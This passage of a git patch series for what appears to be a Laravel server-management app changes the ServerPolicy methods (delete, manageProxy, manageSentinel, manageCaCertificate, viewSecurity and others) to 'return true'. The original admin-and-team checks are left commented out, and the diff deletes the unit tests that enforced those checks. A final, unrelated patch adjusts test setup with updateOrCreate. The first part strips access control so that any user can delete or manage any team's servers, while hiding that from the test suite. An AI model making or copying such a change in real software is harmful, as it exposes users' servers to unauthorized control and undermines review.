$user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } /** @@ -44,7 +46,8 @@ class ServerPolicy */ public function delete(User $user, Server $server): bool { - return $this->canManageServer($user, $server); + // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } /** @@ -68,7 +71,8 @@ class ServerPolicy */ public function manageProxy(User $user, Server $server): bool { - return $this->canManageServer($user, $server); + // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } /** @@ -76,7 +80,8 @@ class ServerPolicy */ public function manageSentinel(User $user, Server $server): bool { - return $this->canManageServer($user, $server); + // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } /** @@ -84,7 +89,8 @@ class ServerPolicy */ public function manageCaCertificate(User $user, Server $server): bool { - return $this->canManageServer($user, $server); + // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } /** @@ -92,11 +98,7 @@ class ServerPolicy */ public function viewSecurity(User $user, Server $server): bool { - return $this->canManageServer($user, $server); - } - - private function canManageServer(User $user, Server $server): bool - { - return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } } diff --git a/tests/Unit/ServerPolicyAuthorizationTest.php b/tests/Unit/ServerPolicyAuthorizationTest.php deleted file mode 100644 index 97b8adbc6..000000000 --- a/tests/Unit/ServerPolicyAuthorizationTest.php +++ /dev/null @@ -1,66 +0,0 @@ -setRawAttributes(['id' => $teamId], true); - $team->setRelation('pivot', new Pivot(['role' => $role])); - - $user = new User; - $user->setRelation('teams', collect([$team])); - $user->setRelation('pivot', new Pivot(['role' => $role])); - - return $user; -} - -function serverPolicyServer(int $teamId): Server -{ - $server = new Server; - $server->setRawAttributes(['team_id' => $teamId], true); - - return $server; -} - -test('server members cannot update or manage servers', function () { - $policy = new ServerPolicy; - $member = userWithServerRole(1, 'member'); - $server = serverPolicyServer(1); - - expect($policy->update($member, $server))->toBeFalse() - ->and($policy->create($member))->toBeFalse() - ->and($policy->delete($member, $server))->toBeFalse() - ->and($policy->manageProxy($member, $server))->toBeFalse() - ->and($policy->manageSentinel($member, $server))->toBeFalse() - ->and($policy->manageCaCertificate($member, $server))->toBeFalse() - ->and($policy->viewSecurity($member, $server))->toBeFalse(); -}); - -test('server admins can update and manage servers in their team', function (string $role) { - $policy = new ServerPolicy; - $admin = userWithServerRole(1, $role); - $server = serverPolicyServer(1); - - expect($policy->update($admin, $server))->toBeTrue() - ->and($policy->create($admin))->toBeTrue() - ->and($policy->delete($admin, $server))->toBeTrue() - ->and($policy->manageProxy($admin, $server))->toBeTrue() - ->and($policy->manageSentinel($admin, $server))->toBeTrue() - ->and($policy->manageCaCertificate($admin, $server))->toBeTrue() - ->and($policy->viewSecurity($admin, $server))->toBeTrue(); -})->with(['admin', 'owner']); - -test('server admins cannot update servers outside their team', function () { - $policy = new ServerPolicy; - $admin = userWithServerRole(2, 'admin'); - $server = serverPolicyServer(1); - - expect($policy->update($admin, $server))->toBeFalse() - ->and($policy->delete($admin, $server))->toBeFalse() - ->and($policy->manageProxy($admin, $server))->toBeFalse(); -}); From 7193a5d0f646e5df743ed219f135af01a8c6c6a2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 2 Jun 2026 11:05:51 +0200 Subject: [PATCH 4/4] fix(tests): reuse instance settings in API token team tests --- tests/Feature/ApiTokenTeamLifecycleSecurityTest.php | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php b/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php index d5ab83af0..c254a26c3 100644 --- a/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php +++ b/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php @@ -14,10 +14,10 @@ use Livewire\Livewire; uses(RefreshDatabase::class); beforeEach(function () { - InstanceSettings::unguarded(fn () => InstanceSettings::query()->create([ - 'id' => 0, - 'is_api_enabled' => true, - ])); + InstanceSettings::unguarded(fn () => InstanceSettings::query()->updateOrCreate( + ['id' => 0], + ['is_api_enabled' => true], + )); $this->team = Team::factory()->create(); $this->user = User::factory()->create();